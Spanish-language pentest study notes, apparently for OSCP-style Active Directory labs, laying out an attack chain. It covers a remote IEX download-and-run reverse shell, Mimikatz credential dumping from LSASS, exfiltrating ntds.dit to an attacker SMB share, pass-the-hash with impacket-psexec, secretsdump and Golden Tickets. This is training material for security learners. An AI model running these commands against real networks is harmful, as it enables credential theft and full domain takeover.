# Apuntes Active Directory Pentest

Mimikatz · Impacket · Kerberos · BloodHound · Pivoting

---

## El mapa mental de todo

```
        ┌─────────────────────────────┐     ┌──────────────────────────────┐
        │        TU KALI/DEBIAN        │     │       VICTIMA WINDOWS         │
        │       (la atacante)          │     │     (cliente o servidor)      │
        ├─────────────────────────────┤     ├──────────────────────────────┤
        │                              │     │                               │
        │  ┌─ Impacket ─────────────┐  │     │  ┌─ Procesos a saquear ─┐    │
        │  │ secretsdump  (hashes) ├──┼─────┼──┤ LSASS (creds en RAM)  │    │
        │  │ psexec       (shell)  ├──┼─SMB─┼──┤ NTDS.dit (BD usuarios)│    │
        │  │ GetUserSPNs  (kerb)   ├──┼─────┼──┤ SAM/SYSTEM           │    │
        │  │ getTGT       (kerb)   │  │     │  └──────────────────────┘    │
        │  └────────────────────────┘  │     │                               │
        │                              │     │  ┌─ Lo que SUBES tú ────┐    │
        │  ┌─ BloodHound ───────────┐  │     │  │ mimikatz.exe         │    │
        │  │ sharphound (recolecta) ├──┼─LDAP┼──┤ winPEAS              │    │
        │  │ neo4j + GUI (visualiza)│  │     │  │ Invoke-ConPtyShell.ps1│   │
        │  └────────────────────────┘  │     │  │ Invoke-PowerShellTcp │    │
        │                              │     │  └──────────────────────┘    │
        │  ┌─ Listener / loot ──────┐  │     │                               │
        │  │ nc -lvnp 4444 (shell)  │◄─┼─TCP─┼─── reverse shell             │
        │  │ python3 -m http.server │◄─┼─HTTP┼─── descargan tus tools       │
        │  │ smbserver.py (loot)    │◄─┼─SMB─┼─── exfiltras NTDS.dit, etc.  │
        │  └────────────────────────┘  │     │                               │
        └─────────────────────────────┘     └──────────────────────────────┘
```

**Idea clave**: tú no tienes "GUI" central. Cada herramienta es **independiente** y se comunica por **red** con la víctima. Tu Kali es un puesto de mando con muchos terminales abiertos a la vez.

---

## Quién hace qué

### Mimikatz

**Es un .exe que se ejecuta DENTRO de la víctima Windows.** No corre en Kali. Su trabajo: leer la memoria del proceso `LSASS` (que guarda credenciales en claro/hash mientras la sesión está activa) y volcarlas.

```
   tú (Kali)                   víctima Windows
   ─────────                   ────────────────
        │
        │  1. Levantas HTTP en tu carpeta de herramientas
        │
        │             ┌────────────┐
        │  2. desde   │ PowerShell │  iwr http://kali/mimikatz.exe -o m.exe
        │  reverse    │   shell    │
        │  shell ──►  └─────┬──────┘
        │                   │
        │                   ▼
        │             ┌────────────────┐
        │             │  m.exe         │  privilege::debug
        │             │                │  sekurlsa::logonpasswords
        │  4. ves ◄───┤  vuelca creds  │  lsadump::sam
        │  hashes     │  del LSASS    │  lsadump::dcsync /user:Administrator
        │             └────────────────┘
```

### Impacket

**Es una suite Python que corre en TU Kali**. Habla los protocolos de Windows (SMB, RPC, Kerberos) **sin necesidad de ser Windows**. Es como tener un "Windows hablante" en tu Kali.

Los más útiles:

```
impacket-psexec        → te da shell en la víctima si tienes creds (estilo PsExec)
impacket-wmiexec       → ejecutas comandos sin tocar disco
impacket-smbexec       → otra forma de ejecución remota
impacket-secretsdump   → vuelca todo el NTDS.dit y SAM de un DC, en remoto
impacket-GetUserSPNs   → ataque KERBEROASTING (saca TGS de cuentas de servicio)
impacket-GetNPUsers    → ataque ASREPROAST (usuarios sin pre-auth Kerberos)
impacket-getTGT        → forja/pide un TGT con cred conocida
impacket-getST         → pide un service ticket
impacket-smbserver     → monta un share SMB falso (para exfiltrar a Kali)
impacket-ntlmrelayx    → relay attacks NTLM
```

### Kerberos en 30 segundos

```
         ┌──────────┐                ┌────────────────┐
         │ Usuario  │  ¿Pwd?         │ KDC (Domain    │
         │ (cliente)│ ─────────────► │  Controller)   │
         └────┬─────┘                └────┬───────────┘
              │                           │
              │  ◄──── TGT (te identifica)│
              │                           │
              │  TGT + "quiero \\fileSrv" │
              ├──────────────────────────►│
              │                           │
              │  ◄──── TGS (para fileSrv)│
              │                           │
              │           ┌───────────┐   │
              └──────────►│ fileServer│ "este TGS prueba que soy yo"
                          └───────────┘
```

- **TGT** = "carnet maestro" del KDC. Lo guarda el cliente.
- **TGS** = "ticket de un día" para hablar con un servicio concreto.
- **Trucos**: si pillas un TGT/TGS válido lo puedes **reutilizar** (pass-the-ticket). Si pillas el hash de `krbtgt` (la cuenta que firma TODOS los TGT) puedes forjar **Golden Tickets** = ser cualquiera, para siempre.

---

## La cadena de ataque "OSCP típica" con esto

```
  ┌─────────────────────────────────────────────────────────────────┐
  │                                                                  │
  │  1) RCE inicial en una web ───────► reverse shell PowerShell    │
  │     (sqli, file upload, etc.)        en máquina USUARIO1        │
  │                                                                  │
  │              │                                                   │
  │              ▼                                                   │
  │                                                                  │
  │  2) WinPEAS desde tu carpeta ──► subes y ejecutas                    │
  │     enumera permisos, AlwaysInstallElevated, etc.               │
  │                                                                  │
  │              │                                                   │
  │              ▼                                                   │
  │                                                                  │
  │  3) Local privesc ──► SYSTEM en USUARIO1                        │
  │                                                                  │
  │              │                                                   │
  │              ▼                                                   │
  │                                                                  │
  │  4) Mimikatz ──► sekurlsa::logonpasswords                       │
  │     → hash NTLM de un usuario de dominio (DOMAIN\juan)          │
  │                                                                  │
  │              │                                                   │
  │              ▼                                                   │
  │                                                                  │
  │  5) BloodHound ──► "¿juan es admin en algún sitio?"             │
  │     "¿juan puede llegar a Domain Admin por algún camino?"       │
  │                                                                  │
  │              │                                                   │
  │              ▼                                                   │
  │                                                                  │
  │  6) Impacket-psexec con el hash de juan ──► shell en SERVER2    │
  │     impacket-psexec -hashes :HASH 'juan@server2.local'          │
  │                                                                  │
  │              │                                                   │
  │              ▼                                                   │
  │                                                                  │
  │  7) Si server2 = Domain Controller:                             │
  │     impacket-secretsdump ──► vuelcas TODA la BD del dominio     │
  │     (NTDS.dit, krbtgt, etc.)                                    │
  │                                                                  │
  │              │                                                   │
  │              ▼                                                   │
  │                                                                  │
  │  8) Con hash de krbtgt:                                         │
  │     impacket-ticketer ──► Golden Ticket → eres dios            │
  │                                                                  │
  └─────────────────────────────────────────────────────────────────┘
```

---

## Cómo se monta cada pieza en la práctica

### A) Levantas tu "puesto de mando" en Kali (terminales abiertos)

```
┌─ Terminal 1 (listener de shells) ─────────────────────────┐
│ stty raw -echo; (stty size; cat) | nc -lvnp 4444          │
└────────────────────────────────────────────────────────────┘

┌─ Terminal 2 (HTTP para servir tus tools a la víctima) ────┐
│ cd tu carpeta                                     │
│ python3 -m http.server 80                                 │
└────────────────────────────────────────────────────────────┘

┌─ Terminal 3 (SMB para que la víctima TE envíe ficheros) ──┐
│ mkdir /tmp/loot && cd /tmp/loot                           │
│ impacket-smbserver loot . -smb2support                    │
└────────────────────────────────────────────────────────────┘

┌─ Terminal 4 (tu shell de trabajo: nxc, impacket, etc.) ───┐
│ $                                                          │
└────────────────────────────────────────────────────────────┘
```

### B) Recibes una reverse shell

Tienes RCE en la víctima (por ejemplo SQLi → xp_cmdshell, o file upload). Le metes:

```powershell
IEX(IWR http://TU_IP/Invoke-ConPtyShell/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell TU_IP 4444
```

Tu Terminal 1 te da una shell **interactiva** Windows.

### C) Subes y ejecutas Mimikatz desde esa shell

```powershell
# Dentro de la shell, en la víctima:
iwr http://TU_IP/mimikatz/x64/mimikatz.exe -OutFile C:\Windows\Temp\m.exe
C:\Windows\Temp\m.exe
```

Y dentro de mimikatz:

```
privilege::debug
sekurlsa::logonpasswords
```

Te aparecen hashes NTLM, Kerberos tickets en memoria, a veces hasta contraseñas en claro (wdigest).

### D) Exfiltras un fichero grande (NTDS.dit, etc.)

Desde la víctima:

```cmd
copy C:\Windows\NTDS\ntds.dit \\TU_IP\loot\
```

Aparece en `/tmp/loot/` en tu Kali. **Esto sustituye al wget**, porque SMB cifra y atraviesa muchos firewalls.

### E) Lateral movement con Impacket (sin reverse shell nueva)

Una vez tienes hash de un user privilegiado:

```bash
impacket-psexec -hashes :NTLMHASH 'admin@10.10.10.20'
```

Te da shell SYSTEM en otra máquina, **sin necesidad de meter ninguna reverse shell**. Por encima de la red, autenticado, limpio.

### F) Pivoting (entrar en una red interna) con ligolo-ng

```
  TU KALI                    USUARIO1                   RED INTERNA
  10.10.10.5                10.10.10.50                 192.168.5.0/24
     │                          │                            │
     │       ligolo proxy       │                            │
     │   ───── tunel ─────►     │                            │
     │                          │                            │
     │                     ligolo agent ─── puede llegar ──► 192.168.5.10 (DC)
     │                          │
     │  añades ruta:            │
     │  ip route add            │
     │   192.168.5.0/24 dev ligolo
     │
     │  ahora desde Kali:
     │  impacket-psexec admin@192.168.5.10  ◄── el tráfico va por el túnel
     ▼
```

---

## BloodHound — qué hace y cómo lo montas

### Qué hace

Te dibuja Active Directory **como un grafo**. Nodos = usuarios, grupos, máquinas. Aristas = relaciones (member of, admin de, puede leer LAPS, etc.). Luego le preguntas:

> "¿Cuál es el camino más corto desde **juan** hasta **Domain Admins**?"

Y te lo pinta. Te ahorra **días** de mirar listados de grupos a mano.

```
         ┌─────────┐   MemberOf   ┌──────────────┐
         │  juan   ├─────────────►│ HelpDesk     │
         └─────────┘              └──────┬───────┘
                                          │ AdminTo
                                          ▼
                                   ┌──────────────┐
                                   │ workstation42│
                                   └──────┬───────┘
                                          │ HasSession (admin con sesión activa aquí)
                                          ▼
                                   ┌──────────────┐
                                   │ ana          │
                                   └──────┬───────┘
                                          │ MemberOf
                                          ▼
                                   ┌──────────────┐
                                   │ Domain Admins│  ← jackpot
                                   └──────────────┘
```

### Componentes

```
   ┌──────────────────┐         ┌─────────────────┐         ┌──────────────┐
   │ SharpHound (.exe)│  o      │ bloodhound-python│  ────►  │  JSON files  │
   │ corre en víctima │         │ corre en Kali    │         │  con datos AD│
   └──────────────────┘         └─────────────────┘         └──────┬───────┘
                                                                    │
                                                                    ▼
                                                          ┌──────────────────┐
                                                          │ BloodHound GUI   │
                                                          │ (en tu Kali)     │
                                                          │   +              │
                                                          │ Neo4j (base BD)  │
                                                          └──────────────────┘
```

- **SharpHound** = el "recolector" que enumera AD. Hay versión `.exe` (subes a víctima) y `.py` (corres desde Kali si ya tienes creds y conectividad).
- **BloodHound GUI** = la interfaz gráfica donde cargas el JSON y haces queries.
- **Neo4j** = la base de datos del grafo (la GUI la necesita).

### Instalación en Debian

```bash
sudo apt install -y bloodhound bloodhound.py
```

```bash
# Neo4j (la BD que necesita BloodHound)
sudo apt install -y neo4j
sudo systemctl start neo4j
sudo neo4j-admin set-initial-password 'BloodHound1!'
```

### Uso (workflow)

```bash
# 1) Recolectar datos desde Kali (necesitas creds válidas)
bloodhound-python -u juan -p 'Password1' -d corp.local -ns 10.10.10.10 -c All
# → genera varios .json en el directorio actual

# 2) Lanzar la GUI
bloodhound
# Login: neo4j / BloodHound1!
# Arrastras los .json a la ventana → quedan cargados

# 3) Queries útiles ya integradas:
#    - Find Shortest Paths to Domain Admins
#    - Find Kerberoastable Accounts
#    - Find AS-REP Roastable Users
```

---

## Resumen TL;DR

| Pregunta | Respuesta |
|---|---|
| ¿Tengo GUI central? | **No**. Tu "GUI" es tener varios terminales abiertos. BloodHound es la única tool con GUI propia. |
| ¿Reverse shell? | `nc` + `Invoke-ConPtyShell` desde la víctima. Lo recibes en `nc -lvnp 4444`. |
| ¿Cómo envío datos? | **Subes** con `python3 -m http.server`. **Recibo** con `impacket-smbserver`. |
| ¿Cómo pivoto? | `ligolo-ng` (proxy en Kali + agent en víctima). Una vez montado, las herramientas tiran por el túnel transparente. |
| ¿BloodHound? | `apt install bloodhound bloodhound.py neo4j`. |
| ¿Mimikatz? | Descargado en `tu carpeta`. Se ejecuta **en la víctima**, no en Kali. |
| ¿Impacket? | Instalado a nivel sistema (`impacket-*`). Corre en Kali, habla con víctimas. |
